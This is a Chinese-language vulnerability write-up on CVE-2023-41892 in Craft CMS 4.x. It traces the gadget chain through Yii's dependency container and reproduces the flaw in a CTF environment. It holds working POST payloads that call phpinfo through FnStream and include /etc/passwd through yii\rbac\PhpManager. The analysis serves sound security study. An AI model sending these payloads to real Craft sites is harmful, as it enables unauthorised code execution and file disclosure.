CVE-2023-41892分析

本文最后更新于:10 个月前

CraftCMS rce分析

影响版本:4.0.0-RC1 <= Craft CMS <= 4.4.14

开源地址:https://github.com/craftcms/cms/releases/

这里直接用ACTF2023的环境起:CraftCMS

搭建好环境:

先对src/vendor/craftcms/cms/src/controllers/ConditionsController.php进行分析:

问题出在了beforeAction()方法中,config参数和name参数是传入的请求体参数,可控。config传入json会被解码,然后返回数组赋值给$baseConfig,然后$baseConfig数组中的name键值赋值给$config。这里有几个方法,挨个分析下:

remove(),返回并释放一个键值

1
2
3
4
5
6
7
8
9
10
11
12
//ArrayHelper::remove()
public static function remove(&$array, $key, $default = null)//传入一个数组(传引用),以及一个键名
{
if (is_array($array) && (isset($array[$key]) || array_key_exists($key, $array))) {
$value = $array[$key];
unset($array[$key]);//将数组中键为key的键值对释放

return $value;//返回键值
}

return $default;
}

$conditionsService为函数Craft::$app->getConditions();根据定义返回一个Conditions的对象,跟进查看getConditions()方法的定义

$conditionsService->createCondition($config);跟进:

class是传入参数$config的class键值。50行判断是不是实现了ConditionInterface接口的对象(phpstorm按ctrl+alt+b查看实现类),不是则抛出异常。最终会return一个ConditionInterface对象

接下来分析configure()方法:

倒是很简单,将传入的第二个参数($baseConfig,也就是从请求体获取的config参数),列为键值对$name => $value,然后将传入的对象中name属性的值进行修改。这里不妨想一想,如果对对象的某个未定义或者私有或受保护的值进行修改,会发生什么事呢?

那么如果对象中有__set()方法,就会自动调用其

全局搜索下有__set()方法的类(phpstorm按ctrl+shift+f组合键可以全局搜索,按ctrl+f12可以查看当前类的实现方法以及父类中的实现方法):

注意到configure()传入的是继承ConditionInterface接口的对象,查看哪些类实现了这个接口(phpstorm按ctrl+alt+b):

挑一个BaseCondition跟踪:

按Ctrl+f12查找到有继承Compoent的__set()方法,跟过去看看

改变的未定义属性名和值作为参数传入__set()中,会先进行一个字符串拼接判断当前类中方法是否存在,否则会进入之后的判断。name以”on”开头时没有什么特殊的操作,on()方法内并没有什么值得关注的地方。这里把目光锁定在第二个elseif判断上,以”as “(注意as后面有个空格!)开头的话,判断$value是否为Behavior的对象,不是的话会调用createObject()方法并以$value为参数。

现在跟进到createObject(),分析

当传入参数中的有键为”class”或”__class”,则最后会执行static::$container->get($class, $params, $type);将__class键值作为第一个参数传入,第三个参数$type也就是一整个as后面的一整个json(除了__class键值对被销毁)

static::$container->get($class, $params, $type);

调用了build()方法,class将class作为第一个参数传入,而上文提到的$type作为形参$config的值传入。

跟进到build()方法里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
protected function build($class, $params, $config)
{
/* @var $reflection ReflectionClass */
list($reflection, $dependencies) = $this->getDependencies($class);

$addDependencies = [];
if (isset($config['__construct()'])) {
$addDependencies = $config['__construct()'];
unset($config['__construct()']);
}
foreach ($params as $index => $param) {
$addDependencies[$index] = $param;
}

$this->validateDependencies($addDependencies);

if ($addDependencies && is_int(key($addDependencies))) {
$dependencies = array_values($dependencies);
$dependencies = $this->mergeDependencies($dependencies, $addDependencies);
} else {
$dependencies = $this->mergeDependencies($dependencies, $addDependencies);
$dependencies = array_values($dependencies);
}

$dependencies = $this->resolveDependencies($dependencies, $reflection);
if (!$reflection->isInstantiable()) {
throw new NotInstantiableException($reflection->name);
}
if (empty($config)) {
return $reflection->newInstanceArgs($dependencies);
}

$config = $this->resolveDependencies($config);

if (!empty($dependencies) && $reflection->implementsInterface('yii\base\Configurable')) {
// set $config as the last parameter (existing one will be overwritten)
$dependencies[count($dependencies) - 1] = $config;
return $reflection->newInstanceArgs($dependencies);
}

$object = $reflection->newInstanceArgs($dependencies);
foreach ($config as $name => $value) {
$object->$name = $value;
}

return $object;
}

开局一个list(),将$this->getDependencies($class)的执行结果返回给$reflection变量和$dependencies变量;

那就去看一下$this->getDependencies($class)是个什么方法,返回的东西是什么:

之前光知道php本身自带一种类似反射的动态机制,但是下面也是第一次了解到php确实有一整套类似于java的完整的反射机制:

返回的是这两个变量的数组,那就返回去找他们第一次出现的位置:

一开始给$dependencies赋值为空,一目了然,但是$reflection这是个什么?ReflectionClass?反射?有点熟悉,有点意思。

去查阅官方文档,”报告了一个类的有关信息”。从字面上不难理解就是返回一个类的信息,比如一个类中有什么成员属性,有什么方法(自定义方法,构造器,析构器等等)。

然后就是通过调用$reflection对象中的getConstructor()方法来获取构造器

之后对代码的分析大部分都在下图:(如果你想在官方文档查阅某个原生方法的具体实现,可以先用phpstorm按ctrl+b查看该原生方法在哪个类中定义,再去官方文档中定位该类,接着定位类下方法,如果没找到也有可能是其父类的方法)

此处给$dependencies添加键值对了,键名为构造器参数名的键值为一个对象,该对象只有两个属性,className(即对应参数的类型(自定义类)),以及是否可选(isOptional,这里自己稍微跟进一下isNulledParam()方法就好了不做赘述)。

稍微总结一下$this->getDependencies($class)这一部分的分析:传入一个类,然后返回这个类构造器的参数列表($dependencies),以及这个类的反射类对象($reflections)

现在回到build()方法

先获取反射后的参数列表(为下面构造类实例传入参数做准备)

$addDependencies是个数组,从$config中获取”__construct()”键值对后的值,这里要注意$addDependencies是个数组。调用了$this->validateDependencies($addDependencies);,这是什么?跟进简单看一下

其实就是个判断”__construct()”数组的键名是否同为字符串或者同为数字,如果不是就抛出异常,比如说我传入参数后$addDependencies为[{“hello”:1},{“world”:1}]就合法,[{“hello”:1},{1:1}]就非法,这个不算什么大问题(这里是随便举的例子,但是要根据实际类填写构造函数的参数名以及值才行,具体为什么接着往下看)

这里对参数名是否为整数进行判断,然后都会调用一个mergeDependencies()方法,这是什么?

实现代码很简单,联系到上面所分析的$depandencies是什么,是一个构造器的参数列表,作用就一目了然了,就是给参数列表中的参数赋值,返回一个带值的$dependencies参数列

重点在最后这几行:通过newInstanceArgs()方法返回一个对象,并传入$dependencies参数,很明显了吧,经过上面的分析,此时$dependencies已经是一个带值的参数列了,至此我们已经可以完整实现远程创建一个实例了,423-425甚至可以通过控制传入参数来修改类属性的值

到现在,下面先好好梳理一下:

1
2
3
4
5
6
7
8
1.ConditionController.php::beforeAction()下的configure()方法修改一个实现了ConditionsInterface接口的对象中的一个属性,这里以BaseCondition为例
=>config={"name":"name"}&name=\craft\base\conditions\BaseCondition

2.因为BaseCondition继承了Component,所以也继承了其__set()方法,在未定义值被修改时自动调用。以被修改属性的名字和值为参数传入。如果属性名字以as开头,先判断$value是否为Behavior或其子类的实例,不是则调用createObject()方法。我们可以恶意传入一个json必然不会是其实例因此会调用createObject()。createObject()中,获取参数中键名为__class或者class的键值来调用get()方法创建一个实例,这里就是我们之后要去寻找的可利用类,暂时待定
=>config={"name":"name","as ":{"class":"待定"}}&name=\craft\base\conditions\BaseCondition

3.查看get()方法内部实现,会调用build()方法,再跟进build(),获取键名为"__construct()"的键值,赋值给$addDependencies,然后$addDependencies的值赋值给经过反射待定利用类后获取到的参数列,以其为新的参数列来构造一个待定可利用实例。(注意此处$addDependencies为数组,在json中应该用数组的方式表达)
=>config={"name":"name","as ":{"class":"待定","__construct()":[{"待定参数名":"待定参数值"}]}}&name=\craft\base\conditions\BaseCondition

很好!下面就是寻找可利用类的过程了。

怎么找?因为我们并不能控制类对象任意方法的调用,但是我们可以创建实例,也就是说构造器和析构器我们是可以触发的。这里有两种方向:

1.寻找构造函数__construct()中有可利用的危险函数,参数由构造器传入

2.构造函数没法利用,但是析构函数存在可利用危险函数,参数可控,那就通过build()方法中的这一部分来控制参数

全局搜索危险方法:

根据前人的指引,存在的可利用危险方法是call_user_func(),全局搜索(ctrl+shift+f)

在FnStream的析构函数中,这。。。拜托怎么可以这么完美。。。直接就调用了?参数直接可控了?

很好,但是也不可以高兴的太早了。。。这个回调函数没有参数。。也就意味着我们只能执行一点无参函数。。在脑袋可触及的范围内,我能想到的可利用也就只有一个phpinfo了。。这好歹算rce了。读个phpinfo()也许有点敏感数据吧(大概。。比如环境变量?啊吧啊吧)

FnStream的namespace

先瞅一眼构造函数:

好好好,_fn_和键名拼接,键值赋值给拼接后的属性,那,瞅一眼上面在作祟的call_user_func(),岂不是直接传close=>phpinfo就好啦?

狠狠构造poc:

1
config={"name":"name","as ":{"class":"GuzzleHttp\\Psr7\\Fnstream","__construct()":[{"close":"phpinfo"}]}}&name=\craft\base\conditions\BaseCondition

另一种思路,不管构造器了,直接走build()方法中给成员赋值的路线

1
config={"name":"name","as ":{"class":"GuzzleHttp\\Psr7\\Fnstream","__construct()":[{"close":"666"}],"_fn_close":"phpinfo"}}&name=\craft\base\conditions\BaseCondition

预备备!!打!。。

。。。

。。。。?好像并不符合预期。。

偷偷瞄一眼大家普遍用的poc,欸,action=conditions/render是什么?

这里暂时没弄明白。。后来看别的师傅的复现得知是在craft\web\Application的一个点,思路是在windows本地起环境然后打断点调试,把payload直接打然后进行调试,那么第一个正向发现这个点的师傅是怎么做到的呢。。。我们不得而知

具体的操作我就不去看了(晕),大概的原理如下:

总之先加上去一起传再说:

1
action=conditions/render&config={"name":"name","as ":{"class":"\\GuzzleHttp\\Psr7\\Fnstream","__construct()":[{"close":"666"}],"_fn_close":"phpinfo"}}&name=craft\base\conditions\BaseCondition

好好好,好歹有点动静了。

后来发现不能用BaseCondition?换成别的ConditionInterface的实现类就没问题?哪里出问题了?其他的Condition不也是继承了BaseCondition嘛?

1
action=conditions/render&config={"name":"name","as ":{"class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}&name=\craft\elements\conditions\tags\TagCondition

到这里利用FnStream还暂时没办法造成危害严重的rce。这里继续从构造函数还有析构函数搜索危险可利用函数。

通过搜索,发现yii\rbac\PhpManagerloadFromFile()方法中有一处明显的文件包含

,通过查找该方法的用途,找到当前类下的load()方法调用了loadFromFile(),包含的文件名是当前类的itemFile,assignmentFile,ruleFile变量。似乎如果只要能控制这些变量的值就能做到文件包含了。再向上看看谁调用了load()方法。

该类的init()方法中调用了load()方法。

原本想跟踪parent::init()到父类的init()方法。结果直接来到了yii\base\BaseObject,啊?直接看到了构造函数处,传入config数组,Yii::configure($this,$config),这是什么?configure()是什么方法?前文提到该方法用于修改该类对象中名字为键名的元素的值,赋值为键值。构造函数中甚至”贴心”地调用了init()好好好,这下利用链不是完全构造完成了吗?因为PhpManager中没有显式定义构造函数,因此新建实例时会调用其父类的构造函数,也就是BaseObject类中的。

利用链:

1
2
3
4
5
6
7
8
新建PhpManager实例时
BaseObject::__construct()
=>
PhpManager::init()
=>
PhpManager::load()
=>
PhpManager::loadFromFile()

payload:(itemFile换成随便那三个被包含的变量都行)

1
action=conditions/render&config={"name":"name","as ":{"class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/etc/passwd"}]}}&name=\craft\elements\conditions\tags\TagCondition

或:

1
action=conditions/render&config={"name":"name","as ":{"class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"666"}],"itemFile":"/etc/passwd"}}&name=\craft\elements\conditions\tags\TagCondition